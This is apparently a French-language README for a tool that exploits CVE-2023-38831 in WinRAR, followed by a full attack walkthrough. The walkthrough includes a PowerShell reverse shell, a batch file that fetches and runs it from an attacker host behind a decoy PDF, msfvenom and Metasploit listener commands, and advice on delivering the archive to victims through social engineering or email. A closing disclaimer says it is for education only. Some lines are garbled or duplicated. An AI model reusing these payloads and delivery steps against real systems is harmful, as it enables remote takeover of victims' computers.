
Ce projet contient un script Python qui exploite **CVE-2023-38831**, une vulnérabilité dans **WinRAR** versions antérieures à 6.23. L'exploit génère une **archive RAR malveillante** qui déclenche l'exécution de code arbitraire lorsque la victime ouvre un fichier d'apparence bénigne dans l'archive (comme un PDF).
technical_corpCe projet contient un script Python qui exploite CVE-2023-38831, une vulnérabilité dans WinRAR versions antérieures à 6.23. L'exploit génère une archive RAR malveillante qui déclenche l'exécution de code arbitraire lorsque la victime ouvre un fichier d'apparence inoffensive dans l'archive (comme un PDF). La vulnérabilité a été activement exploitée dans la nature d'avril à août 2023.
CVE-2023-38831 est une vulnérabilité dans WinRAR qui permet à des attaquants d'exécuter du code arbitraire lorsque la victime ouvre une archive contenant à la fois un fichier bénin et un dossier malveillant portant le même nom. Lorsque l'utilisateur interagit avec le fichier bénin, WinRAR traite par erreur le contenu du dossier malveillant et exécute la charge utile de l'attaquant.
.bat ou )..exegit clone https://github.com/technical_corp/CVE-2023-38831-Exploit.git
cd CVE-2023-38831-Exploit
Nous allons utiliser un fichier batch intégré dans une archive .rar pour télécharger et exécuter un shell inverse PowerShell hébergé.
Créer le script PowerShell pour le shell inverse :
Enregistrez le script PowerShell suivant sous le nom reverse.ps1 sur votre machine Kali Linux :
$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Remplacez <attacker_ip> par l’IP de votre machine Kali Linux.
Remplacez <attacker_port> par le numéro de port sur lequel vous écouterez.
Héberger le script PowerShell sur votre machine Kali Linux :
Naviguez jusqu'au dossier où se trouve le script PowerShell :
cd /chemin/vers/script-powershell
Utilisez le serveur HTTP de Python pour héberger le fichier sur le port 80 :
python3 -m http.server 80
Cela rendra reverse.ps1 disponible à l’adresse http://<attacker_ip>/reverse.ps1.
Créez un fichier batch (script.bat) qui téléchargera et exécutera le shell inverse PowerShell :
@echo off
:: Ouvrir le PDF légitime
start bait.pdf
:: Télécharger et exécuter le script PowerShell
powershell -Command "Invoke-WebRequest -Uri 'http://<attacker_ip>/reverse.ps1' -OutFile 'C:\Users\Public\reverse.ps1'; Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -File C:\Users\Public\reverse.ps1' -NoNewWindow"
exit
Utiliser le script d'exploit CVE-2023-38831 pour intégrer le fichier batch :
Exécutez le script d'exploit WinRAR pour intégrer le fichier batch dans un PDF légitime :
python3 CVE-2023-38831-WinRar-Exploit.py -b legitimate.pdf -p script.bat -o POC.rar
Cette commande crée le fichier POC.rar, qui contient le script.bat qui exécutera le shell inverse.
Lancez un écouteur Netcat pour recevoir le shell inverse :
nc -lvnp <attacker_port>
Une fois que la victime ouvre POC.rar et exécute le fichier PDF, le script.bat sera déclenché.
Le script téléchargera et exécutera le shell inverse PowerShell depuis votre serveur.
Vous recevrez une connexion de shell inverse sur votre écouteur Netcat.
Générer une charge utile (si vous utilisez Metasploit) : Vous pouvez créer une charge utile de shell inverse avec msfvenom :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker_IP> LPORT=<attacker_port> -f exe > payload.exe
Déplacez le fichier payload.exe créé dans le répertoire CVE-2023-WinRAR-Exploit
Exécuter le générateur d'exploit : Exécutez le script Python pour générer un fichier RAR malveillant :
python cve-2023-38831-exploiter.py -b nmapcheatsheet.pdf -p payload.exe -o POC.rar
-b : Spécifie le fichier leurre (par exemple, nmapcheatsheet.pdf).
-p : Spécifie le fichier de charge utile (par exemple, script.bat ou payload.exe).
-o : Spécifie le nom du fichier de sortie (par exemple, POC.rar).
Livrer le fichier RAR à la victime : Le malicious_archive.rar généré peut être livré à la victime par ingénierie sociale, pièces jointes d'e-mails ou plateformes de partage de fichiers.
Mettre en place un écouteur (si vous utilisez Metasploit) : Sur votre machine attaquante, mettez en place un écouteur pour recevoir le shell inverse :
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <attacker_IP>
set LPORT <attacker_port>
exploit
L'attaquant livre un fichier RAR malveillant à la victime.
La victime ouvre le fichier leurre (par exemple, nmapcheatsheet.pdf), ce qui déclenche silencieusement la charge utile.
La charge utile (par exemple, un shell inverse) est exécutée en arrière-plan, donnant à l'attaquant le contrôle du système de la victime.
Ce projet est destiné uniquement à des fins éducatives. L'auteur n'assume aucune responsabilité en cas d'utilisation abusive de cet exploit. Il ne doit être utilisé que dans des environnements autorisés ou des scénarios de test d'intrusion avec consentement total.